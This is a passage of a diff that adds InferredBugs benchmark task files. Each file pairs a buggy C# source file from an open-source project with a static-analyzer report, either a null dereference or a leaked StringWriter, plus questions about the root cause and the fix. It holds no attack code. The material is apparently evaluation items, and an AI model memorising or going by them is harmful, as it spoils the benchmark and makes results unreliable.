+            if (!this._inverseBindMatrices.HasValue) return null;
+
+            return this.LogicalParent.LogicalAccessors[this._inverseBindMatrices.Value];
+        }
+
+        public KeyValuePair<Node, Matrix4x4> GetJoint(int idx)
+        {
+            var nodeIdx = _joints[idx];
+
+            var node = this.LogicalParent.LogicalNodes[nodeIdx];
+
+            var matrix = (Matrix4x4)GetInverseBindMatricesAccessor().CastToMatrix4x4Array()[idx];
+
+            return new KeyValuePair<Node, Matrix4x4>(node, matrix);
+        }
+
+        public override IEnumerable<Exception> Validate()
+        {
+            var exx = base.Validate().ToList();
+
+            // note: this check will fail if the buffers are not set
+
+            /*
+            for(int i=0; i < _joints.Count; ++i)
+            {
+                var j = GetJoint(i);
+
+                var invXform = j.Value;
+
+                if (invXform.M44 != 1) exx.Add(new ModelException(this, $"Joint {i} has invalid inverse matrix"));                
+            }*/
+
+            return exx;
+        }
+
+        public bool IsMatch(Node skeleton, KeyValuePair<Node, Matrix4x4>[] joints)
+        {
+            if (!ReferenceEquals(skeleton, this.Skeleton)) return false;
+
+            if (joints.Length != this._joints.Count) return false;
+
+            for (int i = 0; i < this._joints.Count; ++i)
+            {
+                var src = joints[i];
+                var dst = GetJoint(i);
+
+                if (!ReferenceEquals(src.Key, dst.Key)) return false;
+                if (src.Value != dst.Value) return false;
+            }
+
+            return true;
+        }
+
+        /*
+        public void BindJoints(KeyValuePair<Node, Matrix4x4>[] joints)
+        {
+            // inverse bind matrices accessor
+
+            var data = new Byte[joints.Length * 16 * 4];
+
+            var indexer = new Runtime.Encoding.Matrix4x4Indexer(data, 16 * 4, 0, Runtime.Encoding.PackedType.F32);
+
+            for(int i=0; i < joints.Length; ++i) { indexer[i] = joints[i].Value; }            
+
+            var accessor = LogicalParent._CreateDataAccessor(data, Runtime.Encoding.DimensionType.Matrix4x4, joints.Length);
+            this._inverseBindMatrices = accessor.LogicalIndex;
+
+            // joints
+
+            _joints.Clear();
+            _joints.AddRange(joints.Select(item => item.Key.LogicalIndex));
+
+        }*/
+
+        #endregion
+    }
+}
+
+```
+
+### Bug Type:
+NULLPTR_DEREFERENCE
+
+### Qualifier:
+The call to `Matrix4x4Accessor Accessor.CastToMatrix4x4Array()` may trigger the following issue: ``BufferView Accessor.get_SourceBufferView()`` could be null (from the call to `Accessor.CastToMatrix4x4Array()` on line 95) and is dereferenced in call to `Accessor.CastToMatrix4x4Array()`.
+
+### Severity:
+ERROR
+
+### Procedure:
+KeyValuePair`2<!0,!1> Skin.GetJoint(Int32)
+
+### File:
+src/glTF2Sharp.DOM/Schema2/gltf.Skin.cs
+
+### Key:
+gltf.Skin.cs|GetJoint|NULLPTR_DEREFERENCE
+
+### Hash:
+2829e2ff5812c55ca7dbfaae1b22f7d5
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1445/instruction.md b/inferredbugs-1445/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0a7d7267e0a4131ad27e8834a7f7c45fb4218601
--- /dev/null
+++ b/inferredbugs-1445/instruction.md
@@ -0,0 +1,151 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** SharpGLTF
+**Bug ID:** 4
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+using NUnit.Framework;
+
+namespace SharpGLTF.Schema2.LoadAndSave
+{
+    /// <summary>
+    /// Test cases for models found in <see href="https://github.com/bghgary/glTF-Asset-Generator"/>
+    /// </summary>
+    [TestFixture]
+    [Category("Model Load and Save")]
+    public class LoadGeneratedTests
+    {
+        #region setup
+
+        [OneTimeSetUp]
+        public void Setup()
+        {
+            // TestFiles.DownloadReferenceModels();
+        }
+
+        #endregion        
+
+        [TestCase(true)]
+        [TestCase(false)]
+        public void LoadGeneratedModels(bool isNegativeCase)
+        {
+            TestContext.CurrentContext.AttachShowDirLink();
+
+            var files = TestFiles.GetReferenceModelPaths(isNegativeCase);
+
+            bool passed = true;
+
+            foreach (var filePath in files)
+            {
+                // System.Diagnostics.Debug.Assert(!filePath.EndsWith("Buffer_Interleaved_03.gltf"));
+
+                var gltfJson = filePath.EndsWith(".gltf") ? System.IO.File.ReadAllText(filePath) : string.Empty;
+
+                var report = GltfValidator.ValidationReport.Validate(filePath);                
+
+                if (report == null) continue; // ??
+
+                if (report.HasUnsupportedExtensions) continue;
+
+                try
+                {
+                    var model = ModelRoot.Load(filePath);
+
+                    if (report.Severity == GltfValidator.Severity.Error)
+                    {
+                        TestContext.Error.WriteLine($"{filePath.ToShortDisplayPath()} 👎😦 Should not load!");
+                        passed = false;
+                    }
+                    else
+                    {
+                        TestContext.WriteLine($"{filePath.ToShortDisplayPath()} 🙂👍");                        
+                    }                    
+                }
+                catch (Exception ex)
+                {
+                    if (report.Severity != GltfValidator.Severity.Error)
+                    {
+                        TestContext.Error.WriteLine($"{filePath.ToShortDisplayPath()} 👎😦 Should load!");
+                        TestContext.Error.WriteLine($"   ERROR: {ex.Message}");
+                        passed = false;
+                    }
+                    else
+                    {
+                        TestContext.WriteLine($"{filePath.ToShortDisplayPath()} 🙂👍");
+                        TestContext.WriteLine($"   Expected Exception: {ex.Message}");
+                    }                    
+                }
+
+                /*
+                if (ShouldLoad && !filePath.ToLower().Contains("compatibility"))
+                {
+                    var model = ModelRoot.Load(filePath);
+                    model.AttachToCurrentTest(System.IO.Path.ChangeExtension(System.IO.Path.GetFileName(filePath), ".obj"));
+                }*/
+            }
+
+            Assert.IsTrue(passed);
+        }        
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `null` is dereferenced by call to `Load(...)` at line 51, column 21.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void LoadGeneratedTests.LoadGeneratedModels(Boolean)
+
+### File:
+tests/SharpGLTF.Core.Tests/Schema2/LoadAndSave/LoadGeneratedTests.cs
+
+### Key:
+LoadGeneratedTests.cs|LoadGeneratedModels|NULL_DEREFERENCE
+
+### Node Key:
+6b3d55038ce6cac8c44313341855742e
+
+### Hash:
+3adf51910a05dd98c4b6ed1ae8dbae40
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1473/instruction.md b/inferredbugs-1473/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8d73d572f1545136268e450248daf4561cfd8c77
--- /dev/null
+++ b/inferredbugs-1473/instruction.md
@@ -0,0 +1,395 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** phosphorusfive
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+/*
+ * Phosphorus Five, copyright 2014 - 2015, Thomas Hansen, phosphorusfive@gmail.com
+ * Phosphorus Five is licensed under the terms of the MIT license, see the enclosed LICENSE file for details
+ */
+
+using System;
+using System.Globalization;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace p5.core
+{
+    /// <summary>
+    ///     Utility class, contains helpers for common operations
+    /// </summary>
+    public static class Utilities
+    {
+        /// <summary>
+        ///     Helper to remove all arguments passed into active events after invocation
+        /// </summary>
+        public class ArgsRemover : IDisposable
+        {
+            private List<Node> _nodes;
+            private Node _args;
+
+            /// <summary>
+            ///     Initializes a new instance of the <see cref="p5.core.Utilities+ArgsRemover"/> class
+            /// </summary>
+            /// <param name="args">Arguments.</param>
+            /// <param name="removeValue">If set to <c>true</c> removes value</param>
+            /// <param name="onlyEmptyNames">If set to <c>true</c> removes only empty names</param>
+            public ArgsRemover (Node args, bool removeValue = false, bool onlyEmptyNames = false)
+            {
+                if (onlyEmptyNames)
+                    _nodes = new List<Node> (args.Children.Where (idx => idx.Name == ""));
+                else
+                    _nodes = new List<Node> (args.Children);
+                if (removeValue)
+                    _args = args;
+            }
+
+            /*
+             * Private implementation
+             */
+            void IDisposable.Dispose ()
+            {
+                foreach (var idx in _nodes) {
+                    if (idx.Parent != null)
+                        idx.UnTie();
+                }
+                if (_args != null)
+                    _args.Value = null;
+            }
+        }
+
+        /// <summary>
+        ///     Converts the given value to type T
+        /// </summary>
+        /// <param name="value">Value to convert</param>
+        /// <param name="context">Application context Needed since it might potentially have to raise "conversion Active Events" to convert your value</param>
+        /// <param name="defaultValue">Default value to return, if no conversion is possible</param>
+        /// <param name="encode">If true, then the value will be encoded as base64, if necessary, and value is byte[]</param>
+        /// <typeparam name="T">Type to convert your value to</typeparam>
+        public static T Convert<T> (
+            ApplicationContext context,
+            object value,
+            T defaultValue = default (T),
+            bool encode = false)
+        {
+            // Checking if value is null
+            if (value == null)
+                return defaultValue;
+
+            // Checking to see if conversion is even necessary
+            if (value is T)
+                return (T) value;
+
+            // Trying installed converters from ApplicationContext
+            if (typeof(T) == typeof(string)) {
+
+                // Converting from object, to string
+                var retVal = Convert2String(value, context, encode);
+                if (retVal != null)
+                    return (T)(object)retVal;
+            } else if (value.GetType() == typeof(string) || typeof(T) == typeof(byte[])) {
+
+                // Converting from string to object
+                var retVal = Convert2Object<T>(value, context);
+                if (retVal != null && !retVal.Equals(default (T)))
+                    return retVal;
+            } else if (typeof(T) == typeof(Node)) {
+
+                // Converting to Node somehow, and value is NOT string, creating string out of value first
+                return (T)(object)Convert<Node>(context, Convert<string>(context, value), defaultValue as Node).FirstChild.UnTie();
+            }
+
+            // Checking if type is IConvertible
+            if (value is IConvertible)
+                return (T) System.Convert.ChangeType (value, typeof (T), CultureInfo.InvariantCulture);
+
+            // Stuff like for instance Guids don't implement IConvertible, but still return sane values, if we
+            // first do ToString on them, for then to cast them to object, for then to cast object to T, if the caller
+            // is requesting to have them returned as string
+            if (typeof (T) == typeof (string))
+                return (T) (object) value.ToString ();
+
+            // Conversion is not possible!
+            return defaultValue;
+        }
+
+        /// <summary>
+        ///     Encrypts the specified plainText and returns ciphertext
+        /// </summary>
+        /// <param name="context">Application Context</param>
+        /// <param name="plainText">Plain text to encrypt</param>
+        public static string EncryptMarvin (
+            ApplicationContext context, 
+            string plainText)
+        {
+            // Retrieving default server GnuPG email to use for encryption
+            var gpgEmailAddress = context.RaiseNative("p5.security.get-marvin-pgp-key").Get<string>(context);
+
+            // Invoking [p5.mime.create] Active Event, passing in email to use for retrieving public
+            // key from Gnu Privacy Guard
+            var mimeEntity = new Node ("p5.mime.create")
+                .Add ("text", "plain").LastChild
+                    .Add ("encryption").LastChild
+                        .Add ("email", gpgEmailAddress).Parent
+                    .Add ("content", plainText).Root;
+
+            // Using [p5.mime.create] as actual encryption implementation
+            return context.RaiseNative (mimeEntity.Name, mimeEntity)["result"].Get<string> (context);
+        }
+
+        /// <summary>
+        ///     Decrypts the specified ciphertext and returns as plain text
+        /// </summary>
+        /// <param name="context">Application Context</param>
+        /// <param name="cipherText">Ciphertext text to decrypt</param>
+        public static string DecryptMarvin (
+            ApplicationContext context, 
+            string cipherText)
+        {
+            // Retrieving default server GnuPG password and email to use for decryption
+            var gpgEmailAddress = context.RaiseNative("p5.security.get-marvin-pgp-key").Get<string>(context);
+            var gpgPassword = context.RaiseNative("p5.security.get-marvin-pgp-key-password").Get<string>(context);
+
+            // Invoking [p5.mime.parse] Active Event, passing in password to use for retrieving private
+            // key from Gnu Privacy Guard
+            Node decryptNode = new Node ("p5.mime.parse", cipherText)
+                .Add ("decryption-keys").LastChild
+                    .Add ("email", gpgEmailAddress).LastChild
+                        .Add("password", gpgPassword).Root;
+
+            // Using [p5.mime.parse] as actual decryption implementation
+            var resultNode = context.RaiseNative (decryptNode.Name, decryptNode);
+
+            // Returning first [text] part found in multipart/encrypted
+            return resultNode.FirstChild["text"]["content"].Get<string>(context);
+        }
+
+        /// <summary>
+        ///     Returns true if string can be converted to an integer
+        /// </summary>
+        /// <returns><c>true</c> if this instance is a whole, positive, integer number; otherwise, <c>false</c></returns>
+        /// <param name="value">String to check</param>
+        public static bool IsNumber (string value)
+        {
+            if (value.Any (idx => "0123456789".IndexOf (idx) == -1)) {
+                return false;
+            }
+            return value.Length > 0;
+        }
+
+        /// <summary>
+        ///     Reads a single line string literal token from specified text reader
+        /// </summary>
+        /// <returns>The single line string literal, parsed</returns>
+        /// <param name="reader">Reader to read from</param>
+        public static string ReadSingleLineStringLiteral (StringReader reader)
+        {
+            var builder = new StringBuilder ();
+            for (var c = reader.Read (); c != -1; c = reader.Read ()) {
+                switch (c) {
+                    case '"':
+                        return builder.ToString ();
+                    case '\\':
+                        builder.Append (AppendEscapeCharacter (reader));
+                        break;
+                    case '\n':
+                    case '\r':
+                        throw new ArgumentException (
+                            string.Format ("Syntax error in hyperlisp, single line string literal contains new line near '{0}'", builder.ToString ()));
+                    default:
+                        builder.Append ((char) c);
+                        break;
+                }
+            }
+            throw new ArgumentException (
+                string.Format ("Syntax error in hyperlisp, single line string literal not closed before end of input near '{0}'", builder.ToString ()));
+        }
+
+        /// <summary>
+        ///     Reads a multi line string literal token from specified text reader
+        /// </summary>
+        /// <returns>The single line string literal, parsed</returns>
+        /// <param name="reader">Reader to read from</param>
+        public static string ReadMultiLineStringLiteral (StringReader reader)
+        {
+            var builder = new StringBuilder ();
+            for (var c = reader.Read (); c != -1; c = reader.Read ()) {
+                switch (c) {
+                    case '"':
+                        if ((char) reader.Peek () == '"') {
+                            builder.Append ((char) reader.Read ());
+                        } else {
+                            return builder.ToString ();
+                        }
+                        break;
+                    case '\n':
+                        builder.Append ("\r\n"); // Normalizing carriage return
+                        break;
+                    case '\r':
+                        if ((char) reader.Read () != '\n')
+                            throw new ArgumentException (
+                                string.Format ("Syntax error in hyperlisp, carriage return found but no new line character in multi line string literal near '{0}'", builder.ToString ()));
+                        builder.Append ("\r\n");
+                        break;
+                    default:
+                        builder.Append ((char) c);
+                        break;
+                }
+            }
+            throw new ArgumentException (
+                string.Format ("Syntax error in hyperlisp, multiline string literal not closed before end of input near '{0}'", builder.ToString ()));
+        }
+
+        /*
+         * appends an escape character to stringbuilder
+         */
+        private static string AppendEscapeCharacter (StringReader reader)
+        {
+            var c = reader.Read ();
+            switch (c) {
+                case -1:
+                    throw new ArgumentException ("Syntax error in hyperlisp, end of input found when looking for escape character in single line string literal");
+                case '"':
+                    return "\"";
+                case '\'':
+                    return "'";
+                case '\\':
+                    return "\\";
+                case 'a':
+                    return "\a";
+                case 'b':
+                    return "\b";
+                case 'f':
+                    return "\f";
+                case 't':
+                    return "\t";
+                case 'v':
+                    return "\v";
+                case 'n':
+                    return "\r\n"; // normalizing carriage return
+                case 'r':
+                    // '\r' must be followed by '\n'
+                    if ((char) reader.Read () != '\\' || (char) reader.Read () != 'n')
+                        throw new ArgumentException ("Syntax error in hyperlisp, carriage return found, but no new line character found");
+                    return "\r\n";
+                case 'x':
+                    return HexaCharacter (reader);
+                default:
+                    throw new ArgumentException (string.Format ("Invalid escape sequence found in hyperlisp string literal; '\\{0}'",
+                        (char) c));
+            }
+        }
+
+        /*
+         * Returns a character represented as an octal character representation
+         */
+        private static string HexaCharacter (StringReader reader)
+        {
+            var hexNumberString = "";
+            for (var idxNo = 0; idxNo < 4; idxNo++) {
+                hexNumberString += (char) reader.Read ();
+            }
+            var hexNumber = System.Convert.ToInt32 (hexNumberString, 16);
+            return new string ((char) hexNumber, 1);
+        }
+
+        /*
+         * Converts value to string using conversion Active Events
+         */
+        private static string Convert2String (object value, ApplicationContext context, bool encode)
+        {
+            var nodes = value as IEnumerable<Node>;
+            if (nodes != null) {
+                var builder = new StringBuilder ();
+                var first = true;
+                foreach (var idx in nodes) {
+                    if (first) {
+                        first = false;
+                    } else {
+                        builder.Append ("\r\n");
+                    }
+                    builder.Append (context.RaiseNative (
+                        "p5.hyperlisp.get-string-value." +
+                        idx.GetType ().FullName, new Node ("", idx)).Value);
+                }
+                return builder.ToString ();
+            }
+            Node node = new Node ("", value);
+            if (encode && value is byte[])
+                node.Add ("encode", true);
+            return context.RaiseNative (
+                "p5.hyperlisp.get-string-value." +
+                value.GetType ().FullName, node).Value as string;
+        }
+
+        /*
+         * Converts string to object using conversion Active Events
+         */
+        private static T Convert2Object<T> (object value, ApplicationContext context, T defaultValue = default (T))
+        {
+            var typeName = context.RaiseNative (
+                "p5.hyperlisp.get-type-name." + typeof (T).FullName).Get<string> (context);
+            if (typeName == null)
+                return defaultValue;
+            return context.RaiseNative (
+                "p5.hyperlisp.get-object-value." +
+                typeName, new Node ("", value)).Get<T> (context);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULLPTR_DEREFERENCE
+
+### Qualifier:
+``Node Node.get_LastChild()`` could be null (from the call to `Node.get_LastChild()` on line 152) and is dereferenced.
+
+### Severity:
+ERROR
+
+### Procedure:
+String Utilities.DecryptMarvin(ApplicationContext,String)
+
+### File:
+core/p5.core/Utilities.cs
+
+### Key:
+Utilities.cs|DecryptMarvin|NULLPTR_DEREFERENCE
+
+### Hash:
+ef88f74801686c2080478fc876ac3e0d
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1474/instruction.md b/inferredbugs-1474/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..bf8728cd9764bb02e2af9bcc5b7cf1ff6af4756c
--- /dev/null
+++ b/inferredbugs-1474/instruction.md
@@ -0,0 +1,194 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Westwind.AspNetCore
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+#region License
+/*
+ **************************************************************
+ *  Author: Rick Strahl 
+ *          © West Wind Technologies, 2018
+ *          http://www.west-wind.com/
+ * 
+ * Created: 03/24/2018
+ *
+ * Permission is hereby granted, free of charge, to any person
+ * obtaining a copy of this software and associated documentation
+ * files (the "Software"), to deal in the Software without
+ * restriction, including without limitation the rights to use,
+ * copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the
+ * Software is furnished to do so, subject to the following
+ * conditions:
+ * 
+ * The above copyright notice and this permission notice shall be
+ * included in all copies or substantial portions of the Software.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+ * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
+ * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+ * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+ * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
+ * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+ * OTHER DEALINGS IN THE SOFTWARE.
+ **************************************************************  
+*/
+#endregion
+
+using System;
+using System.IO;
+using Markdig;
+using Markdig.Renderers;
+
+namespace Westwind.AspNetCore.Markdown
+{
+
+    /// <summary>
+    /// Wrapper around the MarkDig parser that provides a cached
+    /// instance of the Markdown parser. Hooks up custom processing.
+    /// </summary>
+    public class  MarkdownParserMarkdig : MarkdownParserBase
+    {
+        public static MarkdownPipeline Pipeline;
+
+        private readonly bool _usePragmaLines;
+
+        public MarkdownParserMarkdig(bool usePragmaLines = false, bool force = false, Action<MarkdownPipelineBuilder> markdigConfiguration = null)
+        {
+            _usePragmaLines = usePragmaLines;
+            if (force || Pipeline == null)
+            {                
+                var builder = CreatePipelineBuilder(markdigConfiguration);                
+                Pipeline = builder.Build();
+            }
+        }
+
+        /// <summary>
+        /// Parses the actual markdown down to html
+        /// </summary>
+        /// <param name="markdown"></param>
+        /// <returns></returns>        
+        public override string Parse(string markdown)
+        {
+            if (string.IsNullOrEmpty(markdown))
+                return string.Empty;
+
+            var htmlWriter = new StringWriter();
+            var renderer = CreateRenderer(htmlWriter);
+
+            Markdig.Markdown.Convert(markdown, renderer, Pipeline);
+
+            var html = htmlWriter.ToString();
+            
+            html = ParseFontAwesomeIcons(html);            
+            html = ParseScript(html);  
+                      
+            return html;
+        }
+
+        public virtual MarkdownPipelineBuilder CreatePipelineBuilder(Action<MarkdownPipelineBuilder> markdigConfiguration)
+        {
+            MarkdownPipelineBuilder builder = null;
+
+            // build it explicitly
+            if (markdigConfiguration == null)
+            {
+                builder = new MarkdownPipelineBuilder()                    
+                    .UseEmphasisExtras(Markdig.Extensions.EmphasisExtras.EmphasisExtraOptions.Default)
+                    .UsePipeTables()
+                    .UseGridTables()
+                    .UseFooters()
+                    .UseFootnotes()
+                    .UseCitations();
+
+
+                builder = builder.UseAutoLinks();        // URLs are parsed into anchors
+                builder = builder.UseAutoIdentifiers();  // Headers get id="name" 
+
+                builder = builder.UseAbbreviations();
+                builder = builder.UseYamlFrontMatter();
+                builder = builder.UseEmojiAndSmiley(true);
+                builder = builder.UseMediaLinks();
+                builder = builder.UseListExtras();
+                builder = builder.UseFigures();
+                builder = builder.UseTaskLists();
+                //builder = builder.UseSmartyPants();            
+
+                if (_usePragmaLines)
+                    builder = builder.UsePragmaLines();
+
+                return builder;
+            }
+            
+            
+            // let the passed in action configure the builder
+            builder = new MarkdownPipelineBuilder();
+            markdigConfiguration.Invoke(builder);
+
+            if (_usePragmaLines)
+                builder = builder.UsePragmaLines();
+
+            return builder;
+        }
+
+        protected virtual IMarkdownRenderer CreateRenderer(TextWriter writer)
+        {
+            return new HtmlRenderer(writer);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource htmlWriter of type System.IO.StringWriter in method "String MarkdownParserMarkdig.Parse(String)".
+
+### Severity:
+ERROR
+
+### Procedure:
+String MarkdownParserMarkdig.Parse(String)
+
+### File:
+Westwind.AspNetCore.Markdown/MarkdownParser/MarkdownParserMarkDig.cs
+
+### Key:
+MarkdownParserMarkDig.cs|Parse|DOTNET_RESOURCE_LEAK
+
+### Hash:
+53e834b9cf234422b13e065f40bf8c5e
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1475/instruction.md b/inferredbugs-1475/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ede8270fa3253023a31947dc0094d7206b83fe99
--- /dev/null
+++ b/inferredbugs-1475/instruction.md
@@ -0,0 +1,267 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** msgraph-sdk-dotnet
+**Bug ID:** 9
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+// ------------------------------------------------------------------------------
+//  Copyright (c) Microsoft Corporation.  All Rights Reserved.  Licensed under the MIT License.  See License in the project root for license information.
+// ------------------------------------------------------------------------------
+namespace Microsoft.Graph
+{
+    using System;
+    using System.Collections.Generic;
+    using System.Linq;
+    using System.Net;
+    using System.Net.Http;
+    using System.Reflection;
+    using System.Net.Http.Headers;
+
+
+    /// <summary>
+    /// GraphClientFactory class to create the HTTP client
+    /// </summary>
+    internal static class GraphClientFactory
+    {
+
+
+        /// The key for the SDK version header.
+        private static readonly string SdkVersionHeaderName = CoreConstants.Headers.SdkVersionHeaderName;
+
+        /// The version for current assembly.
+        private static Version assemblyVersion = typeof(GraphClientFactory).GetTypeInfo().Assembly.GetName().Version;
+
+        /// The value for the SDK version header.
+        private static string SdkVersionHeaderValue = string.Format(
+                    CoreConstants.Headers.SdkVersionHeaderValueFormatString,
+                    "Graph",
+                    assemblyVersion.Major,
+                    assemblyVersion.Minor,
+                    assemblyVersion.Build);
+
+        /// The default value for the overall request timeout.
+        private static readonly TimeSpan defaultTimeout = TimeSpan.FromSeconds(100);
+
+        /// The default value for the baseAddress of HTTP client
+        private static readonly string _baseAddress = "https://graph.microsoft.com/";
+
+        /// Microsoft Graph service nationa cloud endpoints
+        private static readonly Dictionary<string, string> cloudList = new Dictionary<string, string>
+            {
+                { Global_Cloud, "https://graph.microsoft.com" },
+                { USGOV_Cloud, "https://graph.microsoft.com" },
+                { China_Cloud, "https://microsoftgraph.chinacloudapi.cn" },
+                { Germany_Cloud, "https://graph.microsoft.de" }
+            };
+
+        /// Global endpoint
+        public const string Global_Cloud = "Global";
+        /// US_GOV endpoint
+        public const string USGOV_Cloud = "US_GOV";
+        /// China endpoint
+        public const string China_Cloud = "China";
+        /// Germany endpoint
+        public const string Germany_Cloud = "Germany";
+
+        /// <summary>
+        /// Proxy to be used with created clients
+        /// </summary>
+        public static IWebProxy Proxy { get; set; }
+
+        /// <summary>
+        /// DefaultHandler is a Func that returns the HttpMessageHandler for actually making the HTTP calls.
+        /// The default implementation returns a new instance of HttpClientHandler for each HttpClient.
+        /// </summary>
+        public static Func<HttpMessageHandler> DefaultHttpHandler = () => {
+            return new HttpClientHandler
+            {
+                Proxy = Proxy
+            };
+        };
+
+
+        /// <summary>
+        /// Creates a new <see cref="HttpClient"/> instance configured with the handlers provided and with the
+        /// provided <paramref name="innerHandler"/> as the innermost handler.
+        /// </summary>
+        /// <param name="innerHandler">The inner handler represents the destination of the HTTP message channel.</param>
+        /// <param name="handlers">An ordered list of <see cref="DelegatingHandler"/> instances to be invoked as an
+        /// <see cref="HttpRequestMessage"/> travels from the <see cref="HttpClient"/> to the network and an
+        /// <see cref="HttpResponseMessage"/> travels from the network back to <see cref="HttpClient"/>.
+        /// The handlers are invoked in a top-down fashion. That is, the first entry is invoked first for
+        /// an outbound request message but last for an inbound response message.</param>
+        /// <returns>An <see cref="HttpClient"/> instance with the configured handlers.</returns>
+        public static HttpClient Create(string version = "v1.0", string nationalCloud = Global_Cloud, IEnumerable<DelegatingHandler> handlers = null)
+        {
+            HttpMessageHandler pipeline;
+            if (handlers == null)
+            {
+                pipeline = CreatePipeline(CreateDefaultHandlers(), DefaultHttpHandler());
+            } else
+            {
+                pipeline = CreatePipeline(handlers,DefaultHttpHandler());
+            }
+
+            HttpClient client = new HttpClient(pipeline);
+            client.DefaultRequestHeaders.Add(SdkVersionHeaderName, SdkVersionHeaderValue);
+            client.Timeout = defaultTimeout;
+            client.BaseAddress = DetermineBaseAddress(nationalCloud, version);
+            client.DefaultRequestHeaders.CacheControl = new CacheControlHeaderValue { NoCache = true, NoStore = true };
+            return client;
+        }
+
+        /// <summary>
+        /// Create a default set of middleware for calling Microsoft Graph
+        /// </summary>
+        /// <returns></returns>
+        public static IEnumerable<DelegatingHandler> CreateDefaultHandlers()
+        {
+            return new List<DelegatingHandler> {
+                new RetryHandler(),
+                new RedirectHandler()
+            };
+        }
+
+        private static Uri DetermineBaseAddress(string nationalCloud, string version)
+        {
+            string cloud = "";
+            if (!cloudList.TryGetValue(nationalCloud, out cloud))
+            {
+                throw new ArgumentException(String.Format("{0} is an unexpected national cloud.", nationalCloud, "nationalCloud"));
+            }
+            string cloudAddress = cloud + "/" + version;
+            return new Uri(cloudAddress);
+
+        }
+
+        /// <summary>
+        /// Creates an instance of an <see cref="HttpMessageHandler"/> using the <see cref="DelegatingHandler"/> instances
+        /// provided by <paramref name="handlers"/>. The resulting pipeline can be used to manually create <see cref="HttpClient"/>
+        /// or <see cref="HttpMessageInvoker"/> instances with customized message handlers.
+        /// </summary>
+        /// <param name="innerHandler">The inner handler represents the destination of the HTTP message channel.</param>
+        /// <param name="handlers">An ordered list of <see cref="DelegatingHandler"/> instances to be invoked as part
